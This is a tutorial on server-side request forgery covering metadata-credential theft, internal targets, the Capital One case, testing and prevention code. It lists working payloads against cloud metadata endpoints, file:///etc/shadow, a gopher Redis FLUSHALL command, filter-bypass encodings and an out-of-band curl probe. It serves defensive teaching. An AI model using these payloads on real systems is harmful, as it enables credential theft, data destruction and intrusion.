Server-Side Request Forgery (SSRF): How Attackers Reach Internal Services Through Your Web App

Server-Side Request Forgery (SSRF) is a web vulnerability that allows attackers to make the server itself send HTTP requests to arbitrary locations — including internal services, cloud metadata APIs, and network resources that would otherwise be inaccessible. SSRF appeared on the OWASP Top 10 in 2021 (A10) and has been the root cause of several major breaches, including the 2019 Capital One breach that exposed 100 million customer records.

How SSRF Works

# Typical SSRF scenario:
# A web app lets users fetch content from a URL they provide:
# https://webapp.com/fetch?url=https://legit-site.com/image.jpg

# Attacker changes the URL to an internal resource:
# https://webapp.com/fetch?url=http://169.254.169.254/latest/meta-data/

# On AWS EC2, this returns cloud metadata including IAM credentials!
# http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Sample response (THIS IS AN ATTACKER'S DREAM):
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA....",
  "SecretAccessKey": "wJalrXUtnFEMI/...",
  "Token": "IQoJb3JpZ2...",
  "Expiration": "2025-01-15T12:00:00Z"
}

# With these credentials, attacker can:
# - Access S3 buckets
# - Launch EC2 instances
# - Read secrets from Parameter Store
# - Pivot to other AWS services

SSRF Attack Targets

# Common SSRF targets:

# 1. Cloud metadata APIs:
# AWS: http://169.254.169.254/latest/meta-data/
# Azure: http://169.254.169.254/metadata/instance
# GCP: http://metadata.google.internal/computeMetadata/v1/

# 2. Internal web services:
http://localhost:8080/admin          # Admin panel on different port
http://internal-api:3000/            # Internal API not meant to be public
http://10.0.0.1/admin                # Router admin interface

# 3. File protocol (if allowed):
file:///etc/passwd                   # Read local files
file:///etc/shadow                   # Password hashes

# 4. Other protocols:
dict://localhost:6379/info           # Redis info dump
gopher://localhost:6379/_FLUSHALL    # Redis command injection

Real Example: Capital One Breach (2019)

Paige Thompson exploited an SSRF vulnerability in a misconfigured WAF (Web Application Firewall) running on an EC2 instance. Through the SSRF, she accessed the AWS metadata service and obtained IAM role credentials with excessive S3 permissions. She then downloaded over 100 million customer records from S3 buckets. The breach cost Capital One $190 million in fines and settlements.

Finding SSRF in Your Applications

# Manual testing:
# Look for parameters that accept URLs or hostnames:
# ?url=, ?path=, ?img=, ?dest=, ?redirect=, ?uri=, ?load=, ?file=

# Test with out-of-band tools:
# 1. Sign up for a free Burp Collaborator or ngrok account
# 2. Replace the URL with your listener:
curl "https://target.com/fetch?url=https://YOUR-BURP-COLLABORATOR.burpcollaborator.net"
# If you get a ping back, SSRF confirmed

# Automated SSRF testing with nuclei:
nuclei -t ssrf/ -u https://target.com

# SSRF payloads for cloud environments:
# AWS IMDSv1 (no auth required):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

# Bypass attempts for SSRF filters:
http://169.254.169.254.nip.io/latest/meta-data/   # DNS-based bypass
http://[::ffff:169.254.169.254]/latest/meta-data/  # IPv6 representation
http://0251.0376.0251.0376/                        # Octal representation

Prevention

# 1. Whitelist allowed URLs/domains (best approach):
import re
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['cdn.example.com', 'api.partner.com']

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ['https']:  # Only allow HTTPS
        return False
    if parsed.hostname not in ALLOWED_DOMAINS:
        return False
    return True

# 2. Block private IP ranges:
import ipaddress

def is_private_ip(hostname):
    try:
        ip = ipaddress.ip_address(hostname)
        return ip.is_private or ip.is_loopback or ip.is_link_local
    except ValueError:
        return False  # hostname, not IP — resolve and check

# 3. Use IMDSv2 on AWS (requires session token):
# Configure in EC2 instance metadata options:
aws ec2 modify-instance-metadata-options   --instance-id i-1234567890abcdef0   --http-tokens required   --http-endpoint enabled

# IMDSv2 requires a PUT request first:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# SSRF from web app won't have this token — metadata inaccessible

Wrap Up

SSRF is deceptively simple — any feature that fetches remote content is potentially vulnerable. Always validate and whitelist URLs, use IMDSv2 on cloud instances, and apply the principle of network segmentation so that even if SSRF succeeds, the attacker can’t reach sensitive internal services. Test your own applications with Burp Suite or nuclei before attackers do.